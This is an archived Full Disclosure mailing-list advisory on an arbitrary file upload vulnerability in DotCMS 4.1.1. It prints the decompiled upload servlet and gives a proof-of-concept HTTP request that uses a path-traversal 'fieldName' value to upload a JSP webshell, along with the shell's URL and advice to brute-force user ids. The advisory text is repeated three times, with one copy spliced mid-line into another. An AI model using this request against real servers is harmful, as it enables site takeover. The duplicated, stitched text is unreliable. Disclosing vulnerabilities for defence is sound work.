Full Disclosure mailing list archives

DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability


From: "xiaotian.wang () dbappsecurity com cn"<xiaotian.wang () dbappsecurity com cn>
Date: Mon, 17 Jul 2017 16:10:02 +0800

DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability



==========================
Advisory: DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability
Author: M3@pandas From DBAppSecurity Security Lab
Email: xiaotian.wang () dbappsecurity com cn
Affected Version: 4.1.1 the latest version
==========================
Vulnerability Description
==========================
Recetly, I found an Arbitrary File Upload Vulnerability in 'DotCMS' program, DotCMS is widely used in many companies.


Vulnerable cgi: /dotcms_4.1.1_999999.jar!/com/dotmarketing/servlets/AjaxFileUploadServlet.class:


private void doFileUpload(HttpSession session, HttpServletRequest request, HttpServletResponse response)
  throws IOException
 {
  String fieldName = null;
  AjaxFileUploadListener listener = null;
  try
  {
   String fileName = "";
  
   listener = new AjaxFileUploadListener(request.getContentLength());
   FileItemFactory factory = new MonitoredDiskFileItemFactory(listener);
   fieldName = request.getParameter("fieldName");
   Enumeration params = request.getParameterNames();
   session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
   ServletFileUpload upload = new ServletFileUpload(factory);
  
   List items = upload.parseRequest(request);
   boolean hasError = false;
   this.isEmptyFile = false;
  
   String userId = null;
   if (UtilMethods.isSet(session.getAttribute("USER_ID")))
   {
    userId = (String)session.getAttribute("USER_ID");
    User user = UserLocalManagerUtil.getUserById(userId);
    if ((!UtilMethods.isSet(user)) || (!UtilMethods.isSet(user.getUserId()))) {
     throw new Exception("Could not upload File. Invalid User");
    }
   }
   else
   {
    throw new Exception("Could not upload File. Invalid User");
   }
   for (Iterator i = items.iterator(); i.hasNext();)
   {
    FileItem fileItem = (FileItem)i.next();
    if (!fileItem.isFormField())
    {
     if (fileItem.getSize() == 0L) {
      this.isEmptyFile = true;
     }
     if (fileItem.getName().contains(File.separator)) {
      fileName = fileItem.getName().substring(fileItem
       .getName().lastIndexOf(File.separator) + 1);
     } else {
      fileName = fileItem.getName();
     }
     fileName = ContentletUtil.sanitizeFileName(fileName);
    
     File tempUserFolder = new File(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary() + File.separator + userId 
+ File.separator + fieldName);
     if (!isValidPath(tempUserFolder.getCanonicalPath())) {
      throw new IOException("Invalid fileName or Path");
     }
     if (!tempUserFolder.exists()) {
      tempUserFolder.mkdirs();
     }
     File dest = new File(tempUserFolder.getAbsolutePath() + File.separator + fileName);
     if (dest.exists()) {
      dest.delete();
     }
     fileItem.write(dest);
     fileItem.delete();
    }
   }
   if (this.isEmptyFile) {
    fileName = "";
   }
   if (!hasError) {
    sendCompleteResponse(response, null);
   } else {
    sendCompleteResponse(response, "Could not process uploaded file. Please see log for details.");
   }
  }
  catch (Exception e)
  {
   listener.error("error");
   session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
   sendCompleteResponse(response, e.getMessage());
   e.printStackTrace();
  }
 }




tempUserFolder can be controlled through paramter 'fieldName', the upload data is not filtered and the uploaded path 
can be user-defined,so attacker with the administrator authority can upload evil jsp webshell file to control the whole 
web site or even the web server.
==========================
POC  EXP
==========================
1. Login as administrator
2.
POST /servlets/ajax_file_upload?fieldName=../ HTTP/1.1
Host: 192.168.1.204:8080
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data; boundary=--------1234995635
  Cookie: your own cookies
  Connection: close
  Content-Length: 138


  ----------1234995635
  Content-Disposition: form-data; name="xxx"; filename="test.jsp"


  % out.print("test_for_fun!");%
  ----------1234995635--


3. shell is : http://192.168.1.204:8080/assets/tmp_upload/test.jsp
 
 Attension: In some other cases: 'filedName=' , then shell will be in 'assets/tmp_upload/dotcms.org.1/' like 
this:http://192.168.1.204:8080/assets/tmp_upload/dotcms.org.1/test.jsp , 'dotcms.org.1' is your userid, even if you do 
not know your userid, you can bruteforce the number behind ' dotcms.org.' .
fdsEmail: xiaotian.wang () dbappsecurity com cn
Affected Version: 4.1.1 the latest version
==========================
Vulnerability Description
==========================
Recetly, I found an Arbitrary File Upload Vulnerability in 'DotCMS' program, DotCMS is widely used in many companies.


Vulnerable cgi: /dotcms_4.1.1_999999.jar!/com/dotmarketing/servlets/AjaxFileUploadServlet.class:


private void doFileUpload(HttpSession session, HttpServletRequest request, HttpServletResponse response)
  throws IOException
 {
  String fieldName = null;
  AjaxFileUploadListener listener = null;
  try
  {
   String fileName = "";
  
   listener = new AjaxFileUploadListener(request.getContentLength());
   FileItemFactory factory = new MonitoredDiskFileItemFactory(listener);
   fieldName = request.getParameter("fieldName");
   Enumeration params = request.getParameterNames();
   session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
   ServletFileUpload upload = new ServletFileUpload(factory);
  
   List items = upload.parseRequest(request);
   boolean hasError = false;
   this.isEmptyFile = false;
  
   String userId = null;
   if (UtilMethods.isSet(session.getAttribute("USER_ID")))
   {
    userId = (String)session.getAttribute("USER_ID");
    User user = UserLocalManagerUtil.getUserById(userId);
    if ((!UtilMethods.isSet(user)) || (!UtilMethods.isSet(user.getUserId()))) {
     throw new Exception("Could not upload File. Invalid User");
    }
   }
   else
   {
    throw new Exception("Could not upload File. Invalid User");
   }
   for (Iterator i = items.iterator(); i.hasNext();)
   {
    FileItem fileItem = (FileItem)i.next();
    if (!fileItem.isFormField())
    {
     if (fileItem.getSize() == 0L) {
      this.isEmptyFile = true;
     }
     if (fileItem.getName().contains(File.separator)) {
      fileName = fileItem.getName().substring(fileItem
       .getName().lastIndexOf(File.separator) + 1);
     } else {
      fileName = fileItem.getName();
     }
     fileName = ContentletUtil.sanitizeFileName(fileName);
    
     File tempUserFolder = new File(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary() + File.separator + userId 
+ File.separator + fieldName);
     if (!isValidPath(tempUserFolder.getCanonicalPath())) {
      throw new IOException("Invalid fileName or Path");
     }
     if (!tempUserFolder.exists()) {
      tempUserFolder.mkdirs();
     }
     File dest = new File(tempUserFolder.getAbsolutePath() + File.separator + fileName);
     if (dest.exists()) {
      dest.delete();
     }
     fileItem.write(dest);
     fileItem.delete();
    }
   }
   if (this.isEmptyFile) {
    fileName = "";
   }
   if (!hasError) {
    sendCompleteResponse(response, null);
   } else {
    sendCompleteResponse(response, "Could not process uploaded file. Please see log for details.");
   }
  }
  catch (Exception e)
  {
   listener.error("error");
   session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
   sendCompleteResponse(response, e.getMessage());
   e.printStackTrace();
  }
 }




tempUserFolder can be controlled through paramter 'fieldName', the upload data is not filtered and the uploaded path 
can be user-defined,so attacker with the administrator authority can upload evil jsp webshell file to control the whole 
web site or even the web server.
==========================
POC  EXP
==========================
1. Login as administrator
2. POST /servlets/ajax_file_upload?fieldName=../ HTTP/1.1
 Host: 192.168.1.204:8080
 Accept-Encoding: gzip, deflate
 Content-Type: multipart/form-data; boundary=--------1234995635
 Cookie: your own cookies
 Connection: close
 Content-Length: 138


 ----------1234995635
 Content-Disposition: form-data; name="xxx"; filename="test.jsp"


 % out.print("test_for_fun!");%
 ----------1234995635--


3. shell is : http://192.168.1.204:8080/assets/tmp_upload/test.jsp
 
 Attension: In some other cases: 'filedName=' , then shell will be in 'assets/tmp_upload/dotcms.org.1/' like 
this:http://192.168.1.204:8080/assets/tmp_upload/dotcms.org.1/test.jsp , 'dotcms.org.1' is your userid, even if you do 
not know your userid, you can bruteforce the number behind ' dotcms.org.' .
DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability


==========================
Advisory: DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability
Author: M3@pandas From DBAppSecurity Security Lab
Email: xiaotian.wang () dbappsecurity com cn
Affected Version: 4.1.1 the latest version
==========================
Vulnerability Description
==========================
Recetly, I found an Arbitrary File Upload Vulnerability in 'DotCMS' program, DotCMS is widely used in many companies.


Vulnerable cgi: /dotcms_4.1.1_999999.jar!/com/dotmarketing/servlets/AjaxFileUploadServlet.class:


private void doFileUpload(HttpSession session, HttpServletRequest request, HttpServletResponse response)
  throws IOException
 {
  String fieldName = null;
  AjaxFileUploadListener listener = null;
  try
  {
   String fileName = "";
  
   listener = new AjaxFileUploadListener(request.getContentLength());
   FileItemFactory factory = new MonitoredDiskFileItemFactory(listener);
   fieldName = request.getParameter("fieldName");
   Enumeration params = request.getParameterNames();
   session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
   ServletFileUpload upload = new ServletFileUpload(factory);
  
   List items = upload.parseRequest(request);
   boolean hasError = false;
   this.isEmptyFile = false;
  
   String userId = null;
   if (UtilMethods.isSet(session.getAttribute("USER_ID")))
   {
    userId = (String)session.getAttribute("USER_ID");
    User user = UserLocalManagerUtil.getUserById(userId);
    if ((!UtilMethods.isSet(user)) || (!UtilMethods.isSet(user.getUserId()))) {
     throw new Exception("Could not upload File. Invalid User");
    }
   }
   else
   {
    throw new Exception("Could not upload File. Invalid User");
   }
   for (Iterator i = items.iterator(); i.hasNext();)
   {
    FileItem fileItem = (FileItem)i.next();
    if (!fileItem.isFormField())
    {
     if (fileItem.getSize() == 0L) {
      this.isEmptyFile = true;
     }
     if (fileItem.getName().contains(File.separator)) {
      fileName = fileItem.getName().substring(fileItem
       .getName().lastIndexOf(File.separator) + 1);
     } else {
      fileName = fileItem.getName();
     }
     fileName = ContentletUtil.sanitizeFileName(fileName);
    
     File tempUserFolder = new File(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary() + File.separator + userId 
+ File.separator + fieldName);
     if (!isValidPath(tempUserFolder.getCanonicalPath())) {
      throw new IOException("Invalid fileName or Path");
     }
     if (!tempUserFolder.exists()) {
      tempUserFolder.mkdirs();
     }
     File dest = new File(tempUserFolder.getAbsolutePath() + File.separator + fileName);
     if (dest.exists()) {
      dest.delete();
     }
     fileItem.write(dest);
     fileItem.delete();
    }
   }
   if (this.isEmptyFile) {
    fileName = "";
   }
   if (!hasError) {
    sendCompleteResponse(response, null);
   } else {
    sendCompleteResponse(response, "Could not process uploaded file. Please see log for details.");
   }
  }
  catch (Exception e)
  {
   listener.error("error");
   session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
   sendCompleteResponse(response, e.getMessage());
   e.printStackTrace();
  }
 }




tempUserFolder can be controlled through paramter 'fieldName', the upload data is not filtered and the uploaded path 
can be user-defined,so attacker with the administrator authority can upload evil jsp webshell file to control the whole 
web site or even the web server.
==========================
POC  EXP
==========================
1. Login as administrator
2. POST /servlets/ajax_file_upload?fieldName=../ HTTP/1.1
 Host: 192.168.1.204:8080
 Accept-Encoding: gzip, deflate
 Content-Type: multipart/form-data; boundary=--------1234995635
 Cookie: your own cookies
 Connection: close
 Content-Length: 138


 ----------1234995635
 Content-Disposition: form-data; name="xxx"; filename="test.jsp"


 % out.print("test_for_fun!");%
 ----------1234995635--


3. shell is : http://192.168.1.204:8080/assets/tmp_upload/test.jsp
 
 Attension: In some other cases: 'filedName=' , then shell will be in 'assets/tmp_upload/dotcms.org.1/' like 
this:http://192.168.1.204:8080/assets/tmp_upload/dotcms.org.1/test.jsp , 'dotcms.org.1' is your userid, even if you do 
not know your userid, you can bruteforce the number behind ' dotcms.org.' .

Attachment: dotcms.txt
Description:


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Current thread: